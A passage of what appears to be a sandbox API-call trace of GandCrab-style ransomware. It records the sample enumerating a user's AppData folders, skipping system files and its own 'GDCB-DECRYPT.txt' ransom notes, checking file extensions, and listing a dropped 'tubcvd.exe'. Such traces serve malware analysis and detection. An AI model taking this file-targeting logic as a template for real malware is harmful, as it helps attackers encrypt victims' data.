lpString2="GDCB-DECRYPT.txt") returned 0 [0135.489] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.489] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0135.489] lstrcmpW (lpString1="settings.sol", lpString2=".") returned 1 [0135.489] lstrcmpW (lpString1="settings.sol", lpString2="..") returned 1 [0135.489] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpString2="settings.sol" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol" [0135.489] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.489] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0135.489] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\settings.sol") returned 113 [0135.489] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0135.490] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0135.490] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.490] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.490] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.490] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt" [0135.490] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.490] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0135.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0135.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0135.490] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\GDCB-DECRYPT.txt") returned 101 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.490] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.490] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.490] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.490] FindClose (in: hFindFile=0x2c79c0 | out: hFindFile=0x2c79c0) returned 1 [0135.490] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.491] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.491] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.491] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.491] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt" [0135.491] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.491] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0135.491] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0135.491] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0135.491] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\GDCB-DECRYPT.txt") returned 65 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.491] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.491] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.491] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0 [0135.491] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.491] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0135.491] lstrcmpW (lpString1="Microsoft", lpString2=".") returned 1 [0135.491] lstrcmpW (lpString1="Microsoft", lpString2="..") returned 1 [0135.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0135.491] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0135.491] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.492] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.492] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned 48 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*" [0135.492] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0x2c7640 [0135.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="AddIns", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="AddIns", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="AddIns" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\AddIns") returned 54 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="Bibliography", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="Bibliography", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Bibliography" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Bibliography") returned 60 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="Credentials", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="Credentials", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Credentials" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Credentials") returned 59 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="Crypto", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="Crypto", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Crypto" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Crypto") returned 54 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="Document Building Blocks", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="Document Building Blocks", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned 72 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.492] lstrcmpW (lpString1="Excel", lpString2=".") returned 1 [0135.492] lstrcmpW (lpString1="Excel", lpString2="..") returned 1 [0135.492] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Excel" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel" [0135.492] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel") returned 53 [0135.492] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0135.493] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 65 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned 51 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned 58 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Network" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Network") returned 55 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Office", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Office", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Office" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Office") returned 54 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="OneNote", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="OneNote", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="OneNote" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\OneNote") returned 55 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Outlook", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Outlook", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned 55 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned 58 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned 53 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0135.493] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned 55 [0135.493] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.493] lstrcmpW (lpString1="Speech", lpString2=".") returned 1 [0135.493] lstrcmpW (lpString1="Speech", lpString2="..") returned 1 [0135.493] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Speech" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Speech") returned 54 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="SystemCertificates", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="SystemCertificates", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="SystemCertificates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\SystemCertificates") returned 66 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="Templates", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="Templates", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Templates" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates") returned 57 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="tubcvd.exe", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="tubcvd.exe", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="tubcvd.exe" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\tubcvd.exe") returned 58 [0135.494] lstrcmpW (lpString1=".exe", lpString2=".sql") returned -1 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="UProof", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="UProof", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="UProof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\UProof") returned 54 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="Vault", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="Vault", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Vault" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Vault") returned 53 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 1 [0135.494] lstrcmpW (lpString1="Windows", lpString2=".") returned 1 [0135.494] lstrcmpW (lpString1="Windows", lpString2="..") returned 1 [0135.494] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows" [0135.494] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows") returned 55 [0135.494] FindNextFileW (in: hFindFile=0x2c7640, 